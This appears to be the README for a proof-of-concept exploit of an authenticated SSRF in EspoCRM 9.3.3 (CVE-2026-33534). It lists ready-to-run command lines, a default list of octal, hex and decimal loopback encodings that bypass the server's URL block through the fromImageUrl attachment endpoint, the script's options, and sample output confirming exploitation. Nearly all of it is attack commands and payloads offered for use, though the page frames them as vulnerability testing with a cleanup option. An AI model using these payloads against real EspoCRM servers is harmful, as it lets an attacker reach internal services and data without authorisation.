
EspoCRM 9.3.3 - Authenticated SSRF via Alternative IPv4 Notation
Authenticated SSRF proof-of-concept for EspoCRM 9.3.3 via alternative IPv4 loopback notation in the /api/v1/Attachment/fromImageUrl endpoint.
EspoCRM 9.3.3 blocks direct loopback URLs such as http://127.0.0.1/..., but the server-side fetch path accepts alternative IPv4 representations that cURL normalizes to loopback. This allows an authenticated user with access to the affected attachment/image upload flow to make the EspoCRM server fetch internal resources.
The exploit first submits a direct 127.0.0.1 control request and expects it to be blocked with HTTP 403. It then tests multiple encoded loopback payloads and reports which ones produce a stored attachment.
requestsInstall dependency:
python3 -m pip install requests
Basic local validation against an EspoCRM instance running on port 8083:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
Test an internal service on a custom port and path:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
Use only custom payloads:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
The exploit tests these loopback host representations by default:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
Custom payload files are supported. Each line can be either:
host
label=host
Example:
hex-dword=0x7f000001
decimal-dword=2130706433
Run with:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url Base EspoCRM URL
-U, --username EspoCRM username
-P, --password EspoCRM password
--internal-port Internal loopback port to fetch
--internal-path Internal path to fetch
--payload Additional loopback host notation
--payload-file File with one host payload per line
--no-default-payloads Use only custom payloads
--field Attachment field, default: avatar
--parent-type Parent entity type, default: User
--parent-id Optional parent entity id
--cleanup Delete attachments created by successful payloads
--stop-on-first Stop after the first successful bypass
--insecure Disable TLS certificate verification
Successful exploitation shows the direct loopback control blocked and one or more encoded payloads accepted:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg from the target's own loopback listener. Adjust --internal-port and --internal-path for another internal service.User.avatar; use --field, --parent-type, and --parent-id if the tested account needs a different upload context.--cleanup during testing to delete created attachments automatically.